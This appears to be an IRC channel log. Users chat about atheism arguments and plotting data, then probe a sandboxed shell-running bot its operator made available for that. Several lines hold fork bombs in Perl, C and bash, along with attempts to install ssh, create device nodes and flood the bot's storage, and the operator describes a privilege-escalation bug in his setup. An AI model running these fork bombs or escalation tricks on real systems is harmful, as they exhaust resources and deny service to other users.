01:28:01 <ehird> (def infinite-range (start &kw (step 1))
01:28:02 <ehird> (lazy-cons start (infinite-range (+ start step) :step step)))
01:28:24 <Gracenotes> I wonder if there are any famous false tricohomies
01:29:18 <GregorR> Sounds like a cute, fuzzy animal.
01:29:31 <ehird> Likewise, a tradition of argument found among some Protestants and Catholics alike argues that respect for Jesus as a teacher and a wise man is logically contradictory if one does not accept him as God as well, also known as the 'Lord, Liar, or Lunatic' argument: either He was insane, or a charlatan, or he was in fact the Messiah and Son of God. Cf. Christological argument. This argument was popularised by the Christian apologist C.S. Lewis in his book M
01:29:34 <ehird> ere Christianity (p. 52).
01:29:34 <Gracenotes> according to Google "theism-agnosticism-atheism" is one
01:29:36 <ehird> Critics of this argument assert that it presents a false trichotomy. Jesus may well have important things to teach and have wisdom to give even if he is wrong, ironic, misunderstood, or misquoted about his own relation to God.
01:29:40 <ehird> http://en.wikipedia.org/wiki/Fideism#The_Christological_argument
01:30:12 <Gracenotes> but the trichotomy still exists. but, he claims, it is irrelevant
01:30:28 <ehird> agnosticism is a kind of atheism
01:30:55 <GregorR> ehird: Untrue. They form a venn diagram of sorts. There is an overlap, but neither is contained in the other.
01:31:01 <Gracenotes> I wonder what thinking that religion is irrelevant falls under
01:31:08 <ehird> agnostic atheism, which is the logical position of anything of the sort, including teapots; "No, this is almost certainly not true, but I cannot say for sure either way"
01:31:14 <ehird> fundamentalist atheism, which is FUCKING STUPID.
01:31:32 <ehird> ("God doesn't exist, I'm logically right, you're a big poop, QED.")
01:34:36 <Gracenotes> awwww. http://www.liveleak.com/view?i=6ad_1245507294
01:35:18 <GregorR> Dood, I wish squirrels were more normal pets.
01:35:23 <GregorR> I would totally have a squirrel.
01:36:53 * coppro eagerly awaits the Squirrel Patch
01:36:58 <oerjan> i think your cat would totally have a squirrel, too
01:37:20 <augur> ehird: so you think dawkins is an agnostic atheist in that sense of the word.
01:37:30 <ehird> augur: Every sane atheist is.
01:37:36 <GregorR> oerjan: My cat is a scaredy-cat, she would hide in the corner :P
01:37:41 <ehird> fundamentalist atheism is logically indefensible, and the only sane argument for atheism is via logic.
01:37:44 <augur> so you think dawkins is a sane atheist
01:37:55 <ehird> augur: His atheism is sane.
01:38:14 <augur> just checking. cause some people make that same contrast and say dawkins is the fundamentalist atheist sort
01:38:15 <ehird> But Dawkins isn't exactly raving; Unweaving the Rainbow is a good book.
01:38:21 <ehird> augur: yes, but that's a bad definition
01:38:28 <ehird> they use it to mean "atheist who is angry"
01:38:38 <ehird> which has nothing to do with atheism itself
01:39:13 <augur> which is absurd, given how much he is open to discussing the issue
01:39:31 <oerjan> of course all angry people are insane
01:39:38 <oerjan> or was it the other way around
01:40:50 <ehird> People who use "agnostic" to mean "I JUST DUNNO HOW CAN I EVEN START TO CONSIDER IT" are very silly; Russel's Teapot anyone?
01:43:39 <ehird> coppro: Aren't you special :P
01:45:41 <augur> ehird, i find it humorous when people treat the "null hypothesis" as some sort of outrageous concept
01:46:05 <ehird> augur: what in particular are you replying to by me?
01:46:06 <augur> where assuming nothing as a starting point is somehow CLOSED MINDED and shit
01:46:11 <augur> nothing in particular
01:46:18 <augur> i talk to some people and im like
01:46:25 <augur> "well thats what you have to CONVINCE me of!"
01:46:37 <augur> "THATS NOT VERY OPENMINDED"
01:46:45 <ehird> religious people skirt the teapot by playing the faith card; i find that obnoxious, but ""agnostics"" have no such resolve, as they explicitly deny any faith
01:46:49 <augur> im offering you the opportunity to convince me
01:46:56 <augur> oh its not even religious people tho
01:47:23 <ehird> I was just giving a follow up to:
01:47:27 <ehird> 01:40 ehird: People who use "agnostic" to mean "I JUST DUNNO HOW CAN I EVEN START TO CONSIDER IT" are very silly; Russel's Teapot anyone?
01:47:27 <ehird> 01:42 ehird: *Russell
01:48:45 <augur> you should come to the grow report forums some times.
01:48:52 <GregorR> My personal favorite line of argument in this area: A mind is just a sufficiently complex machine (in the computational sense). As computer scientists we know that a machine cannot emulate a machine of lower complexity; so, our existence in this physical universe means that the universe itself is at least as complex computationally as we are. But a mind is just a complex machine, so there's no useful distinction between our set of physical laws and a m
01:48:52 <GregorR> ind (and so a "being"). Therefore, there is a god, in the truest of pantheistic senses. This piece of knowledge has literally no value however :P
01:48:56 <augur> its wonderfully ridiculous
01:49:00 <ehird> Is that a forum for reporting your penis's growth?
01:49:15 <ehird> Within this forum you will find a plethora of friendly & helpful people to make caring for your own personal needs or those of other Medical Marijuana Patient’s in need.
01:49:18 <ehird> "medical" marijuana
01:49:29 <ehird> the colour scheme is entirely incidental!
01:49:37 <augur> they support iran!
01:49:38 <ehird> i should make a forum
01:49:41 <augur> and have for ages!
01:49:48 <ehird> where we talk about "medical" aspirin
01:50:36 * pikhq observes that ŝ != ŝ and lets loose the confusion
01:50:57 * GregorR observes that pikhq != ehird ... OR IS THEY
01:52:04 <GregorR> pikhq: You mean "or is þou"
01:52:28 <pikhq> GregorR: How great þou art.
01:52:34 <ehird> http://www.somethingawful.com/d/news/windows-help-bug.php
01:52:43 <ehird> ↑ the best laugh I've had all day :P
01:52:48 <ehird> or rather, yesterday, but MEH
01:53:59 -!- bsmntbombdood has joined.
01:54:37 <pikhq> GregorR: Þou and þy poo.
02:02:15 -!- oerjan has quit ("Good night").
02:13:12 -!- immibis has joined.
02:17:56 <ehird> anyone know how to plot arrays/lists w/ gnuplot?
02:22:43 <GregorR> Put them in a space-delimited file, then plot "name_of_file"
02:23:10 <GregorR> (IIRC, both x and y /must/ be specified in the input)
02:24:25 <ehird> GregorR: Without using a retard fucking shitfile :P
02:24:39 <GregorR> Fairly certain that's the only way to do it.
02:25:30 <GregorR> I suppose you could generate that to stdout, then gnuplot with a script that does plot "/dev/stdin"
02:26:24 <GregorR> `wolfram most delicious pie in the world
02:33:10 <HackEgo> This is HackBot, the extremely hackable bot. To run a command with one argument, type "`<command>", or "`run <command>" to run a shell command. "`fetch <URL>" downloads files, otherwise the network is inaccessible. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository; if you're faimilar with mercurial, you can fix any problems caused by accidents or malice.
02:33:36 <HackEgo> GregorR \ addquote \ calc \ define \ esolang \ google \ imdb \ quote \ wolfram
02:34:27 <immibis> some way to get a list of commands without knowing they are stored in bin
02:34:28 <GregorR> Ah, well that's a different issue. Those are just files added by "users" (read: me)
02:34:36 <pikhq> `run perl -e 'fork while fork'
02:35:35 <HackEgo> processor: 0 \ vendor_id : AuthenticAMD \ cpu family: 16 \ model: 2 \ model name: Quad-Core AMD Opteron(tm) Processor 2347 HE \ stepping: 3 \ cpu MHz: 1909.786 \ cache size : 512 KB \ physical id: 0 \ siblings: 1 \ core id: 0 \ cpu cores : 1 \ apicid: 0
02:35:43 <HackEgo> MemTotal: 1048792 kB \ MemFree: 12592 kB \ Buffers: 91448 kB \ Cached: 366592 kB \ SwapCached: 484 kB \ Active: 636708 kB \ Inactive: 250064 kB \ SwapTotal: 131064 kB \ SwapFree: 116012 kB \ Dirty: 632 kB \ Writeback: 0 kB \ AnonPages: 428464
02:36:05 <HackEgo> 1 048 792 - 12 592 = 1 036 200
02:36:26 <HackEgo> 1 036 200 / 1024 = 1 011.91406
02:37:01 <GregorR> Note that that's almost all buffers and cache *shrugs*
02:37:22 <GregorR> Shell commands need to be run with `run
02:37:29 <GregorR> Otherwise that's run as ps 'ax 2>&1'
02:37:40 <immibis> `run exec 5<> <(cat); echo hi >&5
02:37:51 <immibis> `run exec 5<> <(cat); echo hi >&5; read str <&5; echo $str
02:38:03 * GregorR wonders wtf that's supposed to do ...
02:38:12 <immibis> on normish that would output "hi" for some weird reason
02:39:47 <immibis> `run touch xyz; exec 5<> <(cat xyz); echo hi >&5; read str <&5; echo $str
02:40:07 -!- ais523 has quit (Remote closed the connection).
02:40:16 <immibis> `run echo 'bash $0' > run-myself
02:40:46 <HackEgo> run-myself: fork: Resource temporarily unavailable
02:41:39 <HackEgo> /bin/ls: /: Function not implemented \ drwxrwxrwx 0 0 0 0 Jan 1 1970 /
02:41:42 <immibis> `run mknod -m 644 urandom c 1 9
02:41:43 -!- ais523 has joined.
02:41:57 <GregorR> Yes, random-assed users can usually mknod X_X
02:41:59 <HackEgo> /bin/cat: urandom: No such file or directory
02:42:11 <immibis> `run mknod -m 644 urandom 1 9 2>&1
02:42:12 <HackEgo> /bin/mknod: missing operand after `9' \ Try `/bin/mknod --help' for more information.
02:42:17 <HackEgo> .: \ total 12 \ drwxr-xr-x 2 5000 5000 4096 Jun 21 01:42 bin \ drwxr-xr-x 2 5000 5000 4096 Jun 21 01:42 quotes \ -rw-r--r-- 1 5000 5000 8 Jun 21 01:42 run-myself \ -rw-r--r-- 1 5000 5000 0 Jun 21 01:42 xyz \ \ ./bin: \ total 32 \ -rwxr-xr-x 1 5000 5000 261 Jun 21 01:42 addquote \ -rwxr-xr-x 1 5000 5000 268 Jun 21 01:42
02:42:21 <immibis> `run mknod -m 644 urandom c 1 9 2>&1
02:42:22 <HackEgo> /bin/mknod: `urandom': Function not implemented
02:42:35 <ais523> immibis: mknod's being blocked
02:42:38 <GregorR> Function not implemented, biatch
02:42:42 <ais523> and so is giving a not-implemented error
02:43:42 <HackEgo> /tmp/hackenv.26129/bin:/usr/bin:/bin
02:43:50 <HackEgo> X11 \ [ \ a2p \ addpart \ addr2line \ apropos \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ apt-key \ apt-mark \ apt-sortpkgs \ aptitude \ aptitude-create-state-bundle \ aptitude-run-state-bundle \ ar \ arch \ as \ awk \ base64 \ basename \ bashbug \ bdftopcf \ bdftops \ bdftruncate
02:44:06 <HackEgo> /bin/bash: line 1: X11: command not found
02:44:20 <immibis> `run apt-get install ssh 2>&1
02:44:20 <HackEgo> E: Could not open lock file /var/lib/dpkg/lock - open (2 No such file or directory) \ E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
02:44:27 <pikhq> `echo "Lawl, you're not root."
02:44:44 <immibis> it gives you the rest in dcc
02:45:09 <GregorR> I disabled that, I'm modifying things to make pastebin'ing an option instead.
02:45:28 <HackEgo> /usr/bin/whoami: cannot find name for user ID 1705968
02:45:41 <HackEgo> /bin/bash: line 1: killall: command not found
02:45:54 <GregorR> You don't understand how users work, do you? :P
02:46:29 <immibis> is it making a new user account each time you run it? that's.....odd...........
02:46:31 <pikhq> You're seriously randomising the UID‽
02:48:37 <immibis> `run echo int fork(); void main() {for(;;) fork();} > forkbomb.c; cat forkbomb.c
02:48:49 <HackEgo> /bin/cat: forkbomb.c: No such file or directory
02:49:09 <pikhq> `run touch foo;ls foo
02:49:18 <immibis> `run echo 'int fork(); void main() {for(;;) fork();}' > forkbomb.c
02:49:25 <HackEgo> int fork(); void main() {for(;;) fork();}
02:49:32 <immibis> `run gcc forkbomb.c -o forkbomb
02:49:50 <pikhq> immibis: You realise he sets ulimits, right?
02:53:50 <GregorR> immibis assumes I am an idiot, even realizing I have randomized UIDs and all the other weird shit I have :P
02:54:47 <GregorR> `fetch http://pastebin.ca/raw/1468305
02:54:48 <HackEgo> 2009-06-21 01:54:48 URL:http://pastebin.ca/raw/1468305 [315] -> "1468305" [1]
02:55:01 <ais523> strange, users with no username
02:55:08 <GregorR> `run mv "1468305" bin/paste; dos2unix bin/paste; chmod 0755 bin/paste
02:55:30 <GregorR> Hm ... that ain't right :P
02:55:36 <GregorR> `run paste bin/google 2>&1
02:55:37 <HackEgo> --2009-06-21 01:55:36-- http://pastebin.ca/ \ Connecting to 127.0.0.1:3128... connected. \ Proxy request sent, awaiting response... 403 Forbidden \ 2009-06-21 01:55:36 ERROR 403: Forbidden. \
02:55:43 <GregorR> Heh, forgot to whitelist pastebin.ca :P
02:56:15 <HackEgo> http://pastebin.ca/1468307
02:56:28 <pikhq> `fetch http://download.savannah.nongnu.org/releases/tinycc/tcc-0.9.25.tar.bz2
02:56:29 <HackEgo> 2009-06-21 01:56:29 URL:http://download.savannah.gnu.org/releases-noredirect/tinycc/tcc-0.9.25.tar.bz2 [382914/382914] -> "tcc-0.9.25.tar.bz2" [1]
02:56:36 <GregorR> That's a weird one, it insta-expired :P
02:56:46 <GregorR> pikhq: Good luck compiling that in <30 seconds :P
02:56:52 <pikhq> `run tar -xf tcc-0.9.25.tar.bz2
02:56:55 <pikhq> GregorR: 10 seconds.
02:57:22 <pikhq> `run cd tcc-0.9.25;./configure;make;echo 'Done.'
02:57:29 * GregorR proceeds to install bzip2 :P
02:57:32 <pikhq> `run ls tcc-0.9.25
02:57:37 <GregorR> (Way to not check the output of tar ;) )
02:57:41 <pikhq> GregorR: ... Yeah, that'd help.
02:57:55 <immibis> `fetch http://www.microsoft.com/downloads/info.aspx?na=90&p=&SrcDisplayLang=en&SrcCategoryId=&SrcFamilyId=a4dd31d5-f907-4406-9012-a5c3199ea2b3&u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2fE%2f7%2f7%2fE77CBA41-0B6B-4398-BBBF-EE121EEC0535%2fWindows6.0-KB948465-X86.exe
02:58:13 <immibis> (that's windows vista sp2 five languages btw)
02:58:14 <ais523> you're attempting to install Windows on the bot?
02:58:20 <pikhq> `run tar -xf tcc-0.9.25.tar.bz2
02:58:22 -!- HackEgo has quit (Excess Flood).
02:58:25 -!- HackEgo has joined.
02:58:26 <ais523> wait no, that's a patch
02:58:27 <immibis> no just download exessively large files
02:58:41 <pikhq> `run cd tcc-0.9.25&&./configure&&make&&echo 'Done.'
02:58:42 <HackEgo> big/little test failed \ Binary directory /usr/local/bin \ TinyCC directory /usr/local/lib/tcc \ Library directory /usr/local/lib \ Include directory /usr/local/include \ Manual directory /usr/local/man \ Doc directory /usr/local/share/doc/tcc \ Target root prefix \ Source path /tmp/hackenv.27975/tcc-0.9.25
02:59:02 <immibis> it's windows vista sp2 for english, french, german, japanese and spanish
02:59:08 <HackEgo> COPYING \ Changelog \ Makefile \ README \ TODO \ VERSION \ arm-gen.c \ c67-gen.c \ coff.h \ config.mak \ config.texi \ configure \ elf.h \ examples \ i386-asm.c \ i386-asm.h \ i386-gen.c \ il-gen.c \ il-opcodes.h \ include \ lib \ libtcc.c \ libtcc.h \ stab.def \ stab.h \ tcc-doc.html \ tcc-doc.texi \ tcc.c \ tcc.h \ tccasm.c
02:59:19 <pikhq> `run ls tcc-0.9.25 | grep tcc
02:59:20 <HackEgo> libtcc.c \ libtcc.h \ tcc-doc.html \ tcc-doc.texi \ tcc.c \ tcc.h \ tccasm.c \ tcccoff.c \ tccelf.c \ tccgen.c \ tccpe.c \ tccpp.c \ tcctok.h
02:59:24 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:34 <pikhq> Seems the compile failed.
02:59:39 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:41 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:42 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:45 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:46 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:50 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
02:59:58 <GregorR> immibis: Yes, when you're a douchebag you can cause douchebaggery.
02:59:59 <pikhq> `run cd tcc-0.9.25&&make&&echo 'Done.'
03:00:29 * pikhq myndzi immibis myndzi
03:02:51 * pikhq myndzi immibis myndzi
03:03:05 <immibis> myndzi has flood protection
03:03:17 <pikhq> Lame flood protection is lame.
03:03:37 -!- Patashu has joined.
03:03:40 <GregorR> <input type="hidden" name="postkey" value="a2452af37aca7451ebfa27f0ba8c0cd80b95fd63" /><input type="hidden" name="postkeysig" value="0mBZ3nSuvHR+AmRLkCwEumqJC8L2YHJzFhW1LuGzX/U=" />
03:03:48 <GregorR> Looks like I won't be using this method :P
03:09:51 <GregorR> Wait, I just realized how silly this all is :P
03:10:02 <pikhq> Y'know, it's a shame that tcc can't compile Linux without patching the source code.
03:15:05 <GregorR> `run cd tcc*/; ./configure | paste
03:15:06 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.23032
03:15:27 <GregorR> `run cd tcc*/; make 2>&1 | paste
03:15:28 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.24791
03:15:41 * pikhq has his mind boggle
03:15:44 <GregorR> make: *** No rule to make target `config.h', needed by `tcc'. Stop. // well that's odd >_>
03:15:54 <pikhq> There exists a C->C compiler.
03:16:02 <GregorR> There exist more than one.
03:16:05 <pikhq> GregorR: Configure failed, obviously.
03:16:24 <GregorR> Oh, actually, I know the issue >_>
03:16:45 <HackEgo> drwxr-xr-x 7 5000 5000 4096 Jun 21 02:16 tcc-0.9.25 \ -rw-r--r-- 1 5000 5000 382914 Jun 21 02:16 tcc-0.9.25.tar.bz2
03:16:55 <pikhq> It can compile Linux.
03:17:54 <GregorR> `run cd tcc*/; ./configure | paste
03:17:55 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.12573
03:23:05 -!- HackEgo has quit (Excess Flood).
03:23:09 -!- HackEgo has joined.
03:48:05 * pikhq wonders if CIL can compile Linux, and if TCC can compile CIL output
03:50:15 <GregorR> Y'know, llvm can output C too.
03:56:19 * pikhq goes to install LLVM.
03:58:01 -!- upyr[emacs] has quit (Read error: 113 (No route to host)).
04:00:45 <GregorR> So, you guys failed to find and take advantage of a nasty bug :P
04:01:22 <GregorR> It set $PATH too early, so if you'd put something fake in bin/pola-run, it'd escalate you to the hackbot user.
04:07:00 <pikhq> LDC requires an SVN checkout of LLVM. How dumb.
04:07:31 <GregorR> In fact, clang is required to be checked out INTO an SVN checkout of LLVM.
04:07:32 <pikhq> That is very dumb.
04:07:44 <pikhq> That is *extremely* dumb.
04:08:28 -!- HackEgo has quit (Excess Flood).
04:08:32 -!- HackEgo has joined.
04:08:46 <GregorR> I don't understand why HackEgo keeps getting bumped >_<
04:09:51 <pikhq> Clearly, it's flooding.
04:16:29 <GregorR> `run cd tcc-0.9.25; TMPDIR="$PWD" ./configure 2>&1 | paste
04:16:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.30170
04:16:43 <GregorR> `run cd tcc-0.9.25; make 2>&1 | paste
04:17:01 <GregorR> Methinks failzors due to timeout :P
04:17:21 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.6430
04:17:42 <GregorR> Heh, it did failzors, but it still produced that output, interesting :P
04:19:15 <pikhq> Interesting, considering it's 3 files.
04:19:25 <GregorR> `fetch http://pastebin.ca/raw/1468358
04:19:26 <HackEgo> 2009-06-21 03:19:25 URL:http://pastebin.ca/raw/1468358 [154] -> "1468358" [1]
04:19:37 <GregorR> `run mv "1468358" bin/runfor; dos2unix bin/runfor; chmod 0755 bin/runfor
04:19:46 <GregorR> `run cd tcc-0.9.25; runfor 15 make 2>&1 | paste
04:19:58 <GregorR> runfor is a script that has no business existing :P
04:20:04 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28914
04:21:12 <GregorR> I think it's automatically ignoring .o files X-D
04:21:25 <GregorR> So I can't do an incremental build over a few runs until I fix that.
04:21:50 <GregorR> Hm, apparently that's not true.
04:22:53 <GregorR> Mercurial, but I'm wrong about that.
04:23:24 <GregorR> pikhq: It's taking quite a few runs, but it's compiling ^^
04:24:37 <pikhq> GregorR: That is an evil, evil script.
04:32:45 <GregorR> pikhq: 'make install' is giving me the hyper-useful response "Unexpected error" X_X
04:32:51 <GregorR> pikhq: Can you install it manually?
04:33:00 <GregorR> `run cd tcc-0.9.25; cp -f config.mak.before config.mak; sed 's#/usr/local#'$HACKENV'#g' -i config.mak; make install 2>&1
04:33:01 <HackEgo> mkdir -p "/tmp/hackenv.580/bin" \ install -s -m755 tcc "/tmp/hackenv.580/bin" \ install: -m755 does not exist \ make: *** [install] Error 1
04:33:11 <GregorR> Oh, that's a different error ...
04:33:46 <GregorR> (/usr/bin/install wasn't working, so I installed a script version in bin/ ... doesn't work :P )
04:39:17 <pikhq> ~run cd tcc-0.9.25;cp tcc /usr/bin;mkdir /usr/local/lib/tcc;cp -r lib include libtcc /usr/local/lib/tcc
04:39:26 <pikhq> I think that should do it.
04:39:35 <pikhq> `run cd tcc-0.9.25;cp tcc /usr/bin;mkdir /usr/local/lib/tcc;cp -r lib include libtcc /usr/local/lib/tcc
04:39:50 <GregorR> ............................
04:39:55 <GregorR> You realize you can't install to /usr, right?
04:40:13 <pikhq> Too lazy to fix. :P
04:40:13 <GregorR> You can install to $HACKENV :P
04:40:32 <GregorR> Oh, is tcc non-relocatable?
04:41:15 <pikhq> Actually, it might not need the /usr/local/lib/tcc stuff...
04:41:25 <pikhq> `run tcc-0.9.25/tcc
04:41:26 <HackEgo> tcc version 0.9.25 - Tiny C Compiler - Copyright (C) 2001-2006 Fabrice Bellard \ usage: tcc [-v] [-c] [-o outfile] [-Bdir] [-bench] [-Idir] [-Dsym[=val]] [-Usym] \ [-Wwarn] [-g] [-b] [-bt N] [-Ldir] [-llib] [-shared] [-soname name] \ [-static] [infile1 infile2...] [-run infile args...] \ \ General options:
04:41:45 <GregorR> `run cp tcc-0.9.25/tcc bin
04:41:51 <HackEgo> tcc version 0.9.25 - Tiny C Compiler - Copyright (C) 2001-2006 Fabrice Bellard \ usage: tcc [-v] [-c] [-o outfile] [-Bdir] [-bench] [-Idir] [-Dsym[=val]] [-Usym] \ [-Wwarn] [-g] [-b] [-bt N] [-Ldir] [-llib] [-shared] [-soname name] \ [-static] [infile1 infile2...] [-run infile args...] \ \ General options:
04:42:25 <GregorR> `run echo -e '#include <stdio.h>\nint main(){printf("Hello, world!\n");return 0;}' > /tmp/hello.c; tcc /tmp/hello.c -o /tmp/hello 2>&1; /tmp/hello
04:42:25 <pikhq> `run cd tcc-0.9.25&&make CC=tcc&&echo 'done'
04:42:26 <HackEgo> In file included from /tmp/hello.c:1: \ /usr/include/stdio.h:34: include file 'stddef.h' not found
04:42:28 <HackEgo> make: Nothing to be done for `all'. \ done
04:42:41 <GregorR> I find that unpromising :P
04:43:05 <GregorR> I DECREE THIS NOT WORTH IT
04:43:22 <GregorR> `run minifind tcc-0.9.25 | xargs rm -f
04:43:24 -!- HackEgo has quit (Excess Flood).
04:43:26 -!- HackEgo has joined.
04:46:02 -!- HackEgo has quit (Remote closed the connection).
04:46:04 -!- HackEgo has joined.
04:46:04 -!- HackEgo has quit (Remote closed the connection).
04:46:18 <GregorR> I'm going to watch it to see if it is flooding :P
04:46:38 -!- HackEgo has joined.
04:53:08 <GregorR> Ahha, yes, I see why it's fekky.
04:57:39 <immibis> i'm looking for its source code
04:57:52 <GregorR> http://codu.org/projects/hackbot/hg/ <--
05:13:35 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
05:14:54 <HackEgo> addquote \ calc \ define \ esolang \ google \ imdb \ minifind \ paste \ quote \ runfor \ tcc \ wolfram
05:15:05 <HackEgo> #!/bin/bash \ if [ ! "$2" ] \ then \ echo 'Use: runfor <time> <command>' \ exit 1 \ fi \ \ TIME="$1" \ shift \ \ "$@" & \ sleep $(( TIME + 0 )) \ kill -9 %1
05:15:22 <HackEgo> #!/bin/bash \ DB="sqlite3 quotes/quote.db" \ \ if [ ! "$1" ] \ then \ echo 'Add what quote?' \ exit 1 \ fi \ \ QUOTE=`echo "$*" | sed 's/'\''/'\'\''/g'` \ $DB 'INSERT INTO quotes (quote) VALUES ('\'"$QUOTE"\''); \ SELECT id,quote FROM quotes ORDER BY id DESC LIMIT 1;'
05:15:29 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
05:15:37 <GregorR> Note that those can all be accessed more easily via that URL :P
05:20:51 -!- CESSMASTER has joined.
05:21:59 -!- Patashu has quit (Remote closed the connection).
05:28:03 -!- coppro has joined.
05:30:45 -!- ais523 has quit (Remote closed the connection).
06:09:28 <HackEgo> esoteric \ 1655, from Gk. esoterikos "belonging to an inner circle," from esotero, comp. adv. of eso "within." In Eng., originally of Pythagorean doctrines. According to Lucian, the division of teachings into exoteric and esoteric originated with Aristotle. \ \ samadhi \ "intense esoteric meditation through yoga,"
06:19:36 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
06:24:29 <HackEgo> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Look up what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://etymonline.com/?search='"$QUERY" | \ grep -A 100 ']'"$1" | \ sed 's/\[[0-9]*\]//g ; s/ Look up.*// ; s/ */ /g'
06:27:25 <immibis> there should be a way to tunnel sound over ssh
06:27:36 <immibis> so that any sound you play on the remote computer comes to yours
06:28:02 <GregorR> ............ yeaaaaaaaaaaaaaaaaaah ................
06:28:22 <GregorR> Eh, I guess in conjunction with X11 over SSH it makes sense.
06:28:43 <GregorR> It's too bad that there's no universal standard of sound that's as intrinsically networkable as X11.
06:49:56 <HackEgo> etymology \ 1398, from Gk. etymologia, from etymon "true sense" (neut. of etymos "true," related to eteos "true") + logos "word." In classical times, of meanings; later, of histories. Latinized by Cicero as veriloquium. \ \ wormwood \ c.1400, folk etymology of O.E. wermod "wormwood," related to vermouth, but the ultimate
06:50:34 <Warrigal> `run :(){echo \\;:};:;echo bær
06:51:50 <GregorR> `run while 1; echo /; done
06:52:00 <GregorR> `run while 1; do echo /; done
06:52:07 <GregorR> `run while true; do echo /; done
06:52:10 <HackEgo> / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /
06:52:15 <GregorR> Dang it, your totally incorrect code is making me write incorrect code :P
06:52:19 <Warrigal> `run while true; do echo \\\; done
06:52:24 <Warrigal> `run while true; do echo \\; done
